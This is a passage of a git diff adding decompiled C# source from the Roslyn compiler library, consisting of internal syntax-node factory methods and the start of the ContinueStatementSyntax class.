ArrowExpressionClauseSyntax? expressionBody, EqualsValueClauseSyntax? initializer, SyntaxToken? semicolonToken) + { + return new PropertyDeclarationSyntax(SyntaxKind.PropertyDeclaration, attributeLists.Node, modifiers.Node, type, explicitInterfaceSpecifier, identifier, accessorList, expressionBody, initializer, semicolonToken, context); + } + + public ArrowExpressionClauseSyntax ArrowExpressionClause(SyntaxToken arrowToken, ExpressionSyntax expression) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8917, (GreenNode)(object)arrowToken, (GreenNode)(object)expression, context, out hash); + if (val != null) + { + return (ArrowExpressionClauseSyntax)(object)val; + } + ArrowExpressionClauseSyntax arrowExpressionClauseSyntax = new ArrowExpressionClauseSyntax(SyntaxKind.ArrowExpressionClause, arrowToken, expression, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)arrowExpressionClauseSyntax, hash); + } + return arrowExpressionClauseSyntax; + } + + public EventDeclarationSyntax EventDeclaration(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, SyntaxToken? semicolonToken) + { + return new EventDeclarationSyntax(SyntaxKind.EventDeclaration, attributeLists.Node, modifiers.Node, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, semicolonToken, context); + } + + public IndexerDeclarationSyntax IndexerDeclaration(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken thisKeyword, BracketedParameterListSyntax parameterList, AccessorListSyntax? accessorList, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + return new IndexerDeclarationSyntax(SyntaxKind.IndexerDeclaration, attributeLists.Node, modifiers.Node, type, explicitInterfaceSpecifier, thisKeyword, parameterList, accessorList, expressionBody, semicolonToken, context); + } + + public AccessorListSyntax AccessorList(SyntaxToken openBraceToken, SyntaxList accessors, SyntaxToken closeBraceToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8895, (GreenNode)(object)openBraceToken, accessors.Node, (GreenNode)(object)closeBraceToken, context, out hash); + if (val != null) + { + return (AccessorListSyntax)(object)val; + } + AccessorListSyntax accessorListSyntax = new AccessorListSyntax(SyntaxKind.AccessorList, openBraceToken, accessors.Node, closeBraceToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)accessorListSyntax, hash); + } + return accessorListSyntax; + } + + public AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken keyword, BlockSyntax? body, ArrowExpressionClauseSyntax? expressionBody, SyntaxToken? semicolonToken) + { + if (kind - 8896 > (SyntaxKind)4 && kind != SyntaxKind.InitAccessorDeclaration) + { + throw new ArgumentException("kind"); + } + return new AccessorDeclarationSyntax(kind, attributeLists.Node, modifiers.Node, keyword, body, expressionBody, semicolonToken, context); + } + + public ParameterListSyntax ParameterList(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8906, (GreenNode)(object)openParenToken, parameters.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (ParameterListSyntax)(object)val; + } + ParameterListSyntax parameterListSyntax = new ParameterListSyntax(SyntaxKind.ParameterList, openParenToken, parameters.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)parameterListSyntax, hash); + } + return parameterListSyntax; + } + + public BracketedParameterListSyntax BracketedParameterList(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8907, (GreenNode)(object)openBracketToken, parameters.Node, (GreenNode)(object)closeBracketToken, context, out hash); + if (val != null) + { + return (BracketedParameterListSyntax)(object)val; + } + BracketedParameterListSyntax bracketedParameterListSyntax = new BracketedParameterListSyntax(SyntaxKind.BracketedParameterList, openBracketToken, parameters.Node, closeBracketToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)bracketedParameterListSyntax, hash); + } + return bracketedParameterListSyntax; + } + + public ParameterSyntax Parameter(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax? type, SyntaxToken identifier, EqualsValueClauseSyntax? @default) + { + return new ParameterSyntax(SyntaxKind.Parameter, attributeLists.Node, modifiers.Node, type, identifier, @default, context); + } + + public FunctionPointerParameterSyntax FunctionPointerParameter(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(9057, attributeLists.Node, modifiers.Node, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (FunctionPointerParameterSyntax)(object)val; + } + FunctionPointerParameterSyntax functionPointerParameterSyntax = new FunctionPointerParameterSyntax(SyntaxKind.FunctionPointerParameter, attributeLists.Node, modifiers.Node, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)functionPointerParameterSyntax, hash); + } + return functionPointerParameterSyntax; + } + + public IncompleteMemberSyntax IncompleteMember(SyntaxList attributeLists, SyntaxList modifiers, TypeSyntax? type) + { + return new IncompleteMemberSyntax(SyntaxKind.IncompleteMember, attributeLists.Node, modifiers.Node, type, context); + } + + public SkippedTokensTriviaSyntax SkippedTokensTrivia(SyntaxList tokens) + { + return new SkippedTokensTriviaSyntax(SyntaxKind.SkippedTokensTrivia, tokens.Node, context); + } + + public DocumentationCommentTriviaSyntax DocumentationCommentTrivia(SyntaxKind kind, SyntaxList content, SyntaxToken endOfComment) + { + if (kind - 8544 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + return new DocumentationCommentTriviaSyntax(kind, content.Node, endOfComment, context); + } + + public TypeCrefSyntax TypeCref(TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8597, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (TypeCrefSyntax)(object)val; + } + TypeCrefSyntax typeCrefSyntax = new TypeCrefSyntax(SyntaxKind.TypeCref, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)typeCrefSyntax, hash); + } + return typeCrefSyntax; + } + + public QualifiedCrefSyntax QualifiedCref(TypeSyntax container, SyntaxToken dotToken, MemberCrefSyntax member) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8598, (GreenNode)(object)container, (GreenNode)(object)dotToken, (GreenNode)(object)member, context, out hash); + if (val != null) + { + return (QualifiedCrefSyntax)(object)val; + } + QualifiedCrefSyntax qualifiedCrefSyntax = new QualifiedCrefSyntax(SyntaxKind.QualifiedCref, container, dotToken, member, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)qualifiedCrefSyntax, hash); + } + return qualifiedCrefSyntax; + } + + public NameMemberCrefSyntax NameMemberCref(TypeSyntax name, CrefParameterListSyntax? parameters) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8599, (GreenNode)(object)name, (GreenNode)(object)parameters, context, out hash); + if (val != null) + { + return (NameMemberCrefSyntax)(object)val; + } + NameMemberCrefSyntax nameMemberCrefSyntax = new NameMemberCrefSyntax(SyntaxKind.NameMemberCref, name, parameters, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)nameMemberCrefSyntax, hash); + } + return nameMemberCrefSyntax; + } + + public IndexerMemberCrefSyntax IndexerMemberCref(SyntaxToken thisKeyword, CrefBracketedParameterListSyntax? parameters) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8600, (GreenNode)(object)thisKeyword, (GreenNode)(object)parameters, context, out hash); + if (val != null) + { + return (IndexerMemberCrefSyntax)(object)val; + } + IndexerMemberCrefSyntax indexerMemberCrefSyntax = new IndexerMemberCrefSyntax(SyntaxKind.IndexerMemberCref, thisKeyword, parameters, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)indexerMemberCrefSyntax, hash); + } + return indexerMemberCrefSyntax; + } + + public OperatorMemberCrefSyntax OperatorMemberCref(SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, SyntaxToken operatorToken, CrefParameterListSyntax? parameters) + { + return new OperatorMemberCrefSyntax(SyntaxKind.OperatorMemberCref, operatorKeyword, checkedKeyword, operatorToken, parameters, context); + } + + public ConversionOperatorMemberCrefSyntax ConversionOperatorMemberCref(SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, SyntaxToken? checkedKeyword, TypeSyntax type, CrefParameterListSyntax? parameters) + { + return new ConversionOperatorMemberCrefSyntax(SyntaxKind.ConversionOperatorMemberCref, implicitOrExplicitKeyword, operatorKeyword, checkedKeyword, type, parameters, context); + } + + public CrefParameterListSyntax CrefParameterList(SyntaxToken openParenToken, SeparatedSyntaxList parameters, SyntaxToken closeParenToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8603, (GreenNode)(object)openParenToken, parameters.Node, (GreenNode)(object)closeParenToken, context, out hash); + if (val != null) + { + return (CrefParameterListSyntax)(object)val; + } + CrefParameterListSyntax crefParameterListSyntax = new CrefParameterListSyntax(SyntaxKind.CrefParameterList, openParenToken, parameters.Node, closeParenToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)crefParameterListSyntax, hash); + } + return crefParameterListSyntax; + } + + public CrefBracketedParameterListSyntax CrefBracketedParameterList(SyntaxToken openBracketToken, SeparatedSyntaxList parameters, SyntaxToken closeBracketToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8604, (GreenNode)(object)openBracketToken, parameters.Node, (GreenNode)(object)closeBracketToken, context, out hash); + if (val != null) + { + return (CrefBracketedParameterListSyntax)(object)val; + } + CrefBracketedParameterListSyntax crefBracketedParameterListSyntax = new CrefBracketedParameterListSyntax(SyntaxKind.CrefBracketedParameterList, openBracketToken, parameters.Node, closeBracketToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)crefBracketedParameterListSyntax, hash); + } + return crefBracketedParameterListSyntax; + } + + public CrefParameterSyntax CrefParameter(SyntaxToken? refKindKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8605, (GreenNode)(object)refKindKeyword, (GreenNode)(object)readOnlyKeyword, (GreenNode)(object)type, context, out hash); + if (val != null) + { + return (CrefParameterSyntax)(object)val; + } + CrefParameterSyntax crefParameterSyntax = new CrefParameterSyntax(SyntaxKind.CrefParameter, refKindKeyword, readOnlyKeyword, type, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)crefParameterSyntax, hash); + } + return crefParameterSyntax; + } + + public XmlElementSyntax XmlElement(XmlElementStartTagSyntax startTag, SyntaxList content, XmlElementEndTagSyntax endTag) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8574, (GreenNode)(object)startTag, content.Node, (GreenNode)(object)endTag, context, out hash); + if (val != null) + { + return (XmlElementSyntax)(object)val; + } + XmlElementSyntax xmlElementSyntax = new XmlElementSyntax(SyntaxKind.XmlElement, startTag, content.Node, endTag, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlElementSyntax, hash); + } + return xmlElementSyntax; + } + + public XmlElementStartTagSyntax XmlElementStartTag(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken greaterThanToken) + { + return new XmlElementStartTagSyntax(SyntaxKind.XmlElementStartTag, lessThanToken, name, attributes.Node, greaterThanToken, context); + } + + public XmlElementEndTagSyntax XmlElementEndTag(SyntaxToken lessThanSlashToken, XmlNameSyntax name, SyntaxToken greaterThanToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8576, (GreenNode)(object)lessThanSlashToken, (GreenNode)(object)name, (GreenNode)(object)greaterThanToken, context, out hash); + if (val != null) + { + return (XmlElementEndTagSyntax)(object)val; + } + XmlElementEndTagSyntax xmlElementEndTagSyntax = new XmlElementEndTagSyntax(SyntaxKind.XmlElementEndTag, lessThanSlashToken, name, greaterThanToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlElementEndTagSyntax, hash); + } + return xmlElementEndTagSyntax; + } + + public XmlEmptyElementSyntax XmlEmptyElement(SyntaxToken lessThanToken, XmlNameSyntax name, SyntaxList attributes, SyntaxToken slashGreaterThanToken) + { + return new XmlEmptyElementSyntax(SyntaxKind.XmlEmptyElement, lessThanToken, name, attributes.Node, slashGreaterThanToken, context); + } + + public XmlNameSyntax XmlName(XmlPrefixSyntax? prefix, SyntaxToken localName) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8581, (GreenNode)(object)prefix, (GreenNode)(object)localName, context, out hash); + if (val != null) + { + return (XmlNameSyntax)(object)val; + } + XmlNameSyntax xmlNameSyntax = new XmlNameSyntax(SyntaxKind.XmlName, prefix, localName, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlNameSyntax, hash); + } + return xmlNameSyntax; + } + + public XmlPrefixSyntax XmlPrefix(SyntaxToken prefix, SyntaxToken colonToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8582, (GreenNode)(object)prefix, (GreenNode)(object)colonToken, context, out hash); + if (val != null) + { + return (XmlPrefixSyntax)(object)val; + } + XmlPrefixSyntax xmlPrefixSyntax = new XmlPrefixSyntax(SyntaxKind.XmlPrefix, prefix, colonToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlPrefixSyntax, hash); + } + return xmlPrefixSyntax; + } + + public XmlTextAttributeSyntax XmlTextAttribute(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, SyntaxList textTokens, SyntaxToken endQuoteToken) + { + return new XmlTextAttributeSyntax(SyntaxKind.XmlTextAttribute, name, equalsToken, startQuoteToken, textTokens.Node, endQuoteToken, context); + } + + public XmlCrefAttributeSyntax XmlCrefAttribute(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, CrefSyntax cref, SyntaxToken endQuoteToken) + { + return new XmlCrefAttributeSyntax(SyntaxKind.XmlCrefAttribute, name, equalsToken, startQuoteToken, cref, endQuoteToken, context); + } + + public XmlNameAttributeSyntax XmlNameAttribute(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, IdentifierNameSyntax identifier, SyntaxToken endQuoteToken) + { + return new XmlNameAttributeSyntax(SyntaxKind.XmlNameAttribute, name, equalsToken, startQuoteToken, identifier, endQuoteToken, context); + } + + public XmlTextSyntax XmlText(SyntaxList textTokens) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8583, textTokens.Node, context, out hash); + if (val != null) + { + return (XmlTextSyntax)(object)val; + } + XmlTextSyntax xmlTextSyntax = new XmlTextSyntax(SyntaxKind.XmlText, textTokens.Node, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlTextSyntax, hash); + } + return xmlTextSyntax; + } + + public XmlCDataSectionSyntax XmlCDataSection(SyntaxToken startCDataToken, SyntaxList textTokens, SyntaxToken endCDataToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8584, (GreenNode)(object)startCDataToken, textTokens.Node, (GreenNode)(object)endCDataToken, context, out hash); + if (val != null) + { + return (XmlCDataSectionSyntax)(object)val; + } + XmlCDataSectionSyntax xmlCDataSectionSyntax = new XmlCDataSectionSyntax(SyntaxKind.XmlCDataSection, startCDataToken, textTokens.Node, endCDataToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlCDataSectionSyntax, hash); + } + return xmlCDataSectionSyntax; + } + + public XmlProcessingInstructionSyntax XmlProcessingInstruction(SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, SyntaxList textTokens, SyntaxToken endProcessingInstructionToken) + { + return new XmlProcessingInstructionSyntax(SyntaxKind.XmlProcessingInstruction, startProcessingInstructionToken, name, textTokens.Node, endProcessingInstructionToken, context); + } + + public XmlCommentSyntax XmlComment(SyntaxToken lessThanExclamationMinusMinusToken, SyntaxList textTokens, SyntaxToken minusMinusGreaterThanToken) + { + int hash; + GreenNode val = CSharpSyntaxNodeCache.TryGetNode(8585, (GreenNode)(object)lessThanExclamationMinusMinusToken, textTokens.Node, (GreenNode)(object)minusMinusGreaterThanToken, context, out hash); + if (val != null) + { + return (XmlCommentSyntax)(object)val; + } + XmlCommentSyntax xmlCommentSyntax = new XmlCommentSyntax(SyntaxKind.XmlComment, lessThanExclamationMinusMinusToken, textTokens.Node, minusMinusGreaterThanToken, context); + if (hash >= 0) + { + SyntaxNodeCache.AddNode((GreenNode)(object)xmlCommentSyntax, hash); + } + return xmlCommentSyntax; + } + + public IfDirectiveTriviaSyntax IfDirectiveTrivia(SyntaxToken hashToken, SyntaxToken ifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + return new IfDirectiveTriviaSyntax(SyntaxKind.IfDirectiveTrivia, hashToken, ifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue, context); + } + + public ElifDirectiveTriviaSyntax ElifDirectiveTrivia(SyntaxToken hashToken, SyntaxToken elifKeyword, ExpressionSyntax condition, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken, bool conditionValue) + { + return new ElifDirectiveTriviaSyntax(SyntaxKind.ElifDirectiveTrivia, hashToken, elifKeyword, condition, endOfDirectiveToken, isActive, branchTaken, conditionValue, context); + } + + public ElseDirectiveTriviaSyntax ElseDirectiveTrivia(SyntaxToken hashToken, SyntaxToken elseKeyword, SyntaxToken endOfDirectiveToken, bool isActive, bool branchTaken) + { + return new ElseDirectiveTriviaSyntax(SyntaxKind.ElseDirectiveTrivia, hashToken, elseKeyword, endOfDirectiveToken, isActive, branchTaken, context); + } + + public EndIfDirectiveTriviaSyntax EndIfDirectiveTrivia(SyntaxToken hashToken, SyntaxToken endIfKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new EndIfDirectiveTriviaSyntax(SyntaxKind.EndIfDirectiveTrivia, hashToken, endIfKeyword, endOfDirectiveToken, isActive, context); + } + + public RegionDirectiveTriviaSyntax RegionDirectiveTrivia(SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new RegionDirectiveTriviaSyntax(SyntaxKind.RegionDirectiveTrivia, hashToken, regionKeyword, endOfDirectiveToken, isActive, context); + } + + public EndRegionDirectiveTriviaSyntax EndRegionDirectiveTrivia(SyntaxToken hashToken, SyntaxToken endRegionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new EndRegionDirectiveTriviaSyntax(SyntaxKind.EndRegionDirectiveTrivia, hashToken, endRegionKeyword, endOfDirectiveToken, isActive, context); + } + + public ErrorDirectiveTriviaSyntax ErrorDirectiveTrivia(SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new ErrorDirectiveTriviaSyntax(SyntaxKind.ErrorDirectiveTrivia, hashToken, errorKeyword, endOfDirectiveToken, isActive, context); + } + + public WarningDirectiveTriviaSyntax WarningDirectiveTrivia(SyntaxToken hashToken, SyntaxToken warningKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new WarningDirectiveTriviaSyntax(SyntaxKind.WarningDirectiveTrivia, hashToken, warningKeyword, endOfDirectiveToken, isActive, context); + } + + public BadDirectiveTriviaSyntax BadDirectiveTrivia(SyntaxToken hashToken, SyntaxToken identifier, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new BadDirectiveTriviaSyntax(SyntaxKind.BadDirectiveTrivia, hashToken, identifier, endOfDirectiveToken, isActive, context); + } + + public DefineDirectiveTriviaSyntax DefineDirectiveTrivia(SyntaxToken hashToken, SyntaxToken defineKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new DefineDirectiveTriviaSyntax(SyntaxKind.DefineDirectiveTrivia, hashToken, defineKeyword, name, endOfDirectiveToken, isActive, context); + } + + public UndefDirectiveTriviaSyntax UndefDirectiveTrivia(SyntaxToken hashToken, SyntaxToken undefKeyword, SyntaxToken name, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new UndefDirectiveTriviaSyntax(SyntaxKind.UndefDirectiveTrivia, hashToken, undefKeyword, name, endOfDirectiveToken, isActive, context); + } + + public LineDirectiveTriviaSyntax LineDirectiveTrivia(SyntaxToken hashToken, SyntaxToken lineKeyword, SyntaxToken line, SyntaxToken? file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new LineDirectiveTriviaSyntax(SyntaxKind.LineDirectiveTrivia, hashToken, lineKeyword, line, file, endOfDirectiveToken, isActive, context); + } + + public LineDirectivePositionSyntax LineDirectivePosition(SyntaxToken openParenToken, SyntaxToken line, SyntaxToken commaToken, SyntaxToken character, SyntaxToken closeParenToken) + { + return new LineDirectivePositionSyntax(SyntaxKind.LineDirectivePosition, openParenToken, line, commaToken, character, closeParenToken, context); + } + + public LineSpanDirectiveTriviaSyntax LineSpanDirectiveTrivia(SyntaxToken hashToken, SyntaxToken lineKeyword, LineDirectivePositionSyntax start, SyntaxToken minusToken, LineDirectivePositionSyntax end, SyntaxToken? characterOffset, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new LineSpanDirectiveTriviaSyntax(SyntaxKind.LineSpanDirectiveTrivia, hashToken, lineKeyword, start, minusToken, end, characterOffset, file, endOfDirectiveToken, isActive, context); + } + + public PragmaWarningDirectiveTriviaSyntax PragmaWarningDirectiveTrivia(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, SeparatedSyntaxList errorCodes, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new PragmaWarningDirectiveTriviaSyntax(SyntaxKind.PragmaWarningDirectiveTrivia, hashToken, pragmaKeyword, warningKeyword, disableOrRestoreKeyword, errorCodes.Node, endOfDirectiveToken, isActive, context); + } + + public PragmaChecksumDirectiveTriviaSyntax PragmaChecksumDirectiveTrivia(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new PragmaChecksumDirectiveTriviaSyntax(SyntaxKind.PragmaChecksumDirectiveTrivia, hashToken, pragmaKeyword, checksumKeyword, file, guid, bytes, endOfDirectiveToken, isActive, context); + } + + public ReferenceDirectiveTriviaSyntax ReferenceDirectiveTrivia(SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new ReferenceDirectiveTriviaSyntax(SyntaxKind.ReferenceDirectiveTrivia, hashToken, referenceKeyword, file, endOfDirectiveToken, isActive, context); + } + + public LoadDirectiveTriviaSyntax LoadDirectiveTrivia(SyntaxToken hashToken, SyntaxToken loadKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new LoadDirectiveTriviaSyntax(SyntaxKind.LoadDirectiveTrivia, hashToken, loadKeyword, file, endOfDirectiveToken, isActive, context); + } + + public ShebangDirectiveTriviaSyntax ShebangDirectiveTrivia(SyntaxToken hashToken, SyntaxToken exclamationToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new ShebangDirectiveTriviaSyntax(SyntaxKind.ShebangDirectiveTrivia, hashToken, exclamationToken, endOfDirectiveToken, isActive, context); + } + + public NullableDirectiveTriviaSyntax NullableDirectiveTrivia(SyntaxToken hashToken, SyntaxToken nullableKeyword, SyntaxToken settingToken, SyntaxToken? targetToken, SyntaxToken endOfDirectiveToken, bool isActive) + { + return new NullableDirectiveTriviaSyntax(SyntaxKind.NullableDirectiveTrivia, hashToken, nullableKeyword, settingToken, targetToken, endOfDirectiveToken, isActive, context); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ContinueStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ContinueStatementSyntax.cs new file mode 100644 index 0000000..f26486d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ContinueStatementSyntax.cs @@ -0,0 +1,159 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ContinueStatementSyntax : StatementSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly SyntaxToken continueKeyword; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public SyntaxToken ContinueKeyword => continueKeyword; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal ContinueStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)continueKeyword); + this.continueKeyword = continueKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ContinueStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)continueKeyword); + this.continueKeyword = continueKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ContinueStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)continueKeyword); + this.continueKeyword = continueKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => continueKeyword, + 2 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ContinueStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitContinueStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitContinueStatement(this); + } + + public ContinueStatementSyntax Update(SyntaxList attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || continueKeyword != ContinueKeyword || semicolonToken != SemicolonToken) + { + ContinueStatementSyntax continueStatementSyntax = SyntaxFactory.ContinueStatement(attributeLists, continueKeyword, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + continueStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(continueStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + continueStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(continueStatementSyntax, (IEnumerable)annotations); + } + return continueStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ContinueStatementSyntax(base.Kind, attributeLists, continueKeyword, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ContinueStatementSyntax(base.Kind, attributeLists, continueKeyword, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ContinueStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + continueKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + 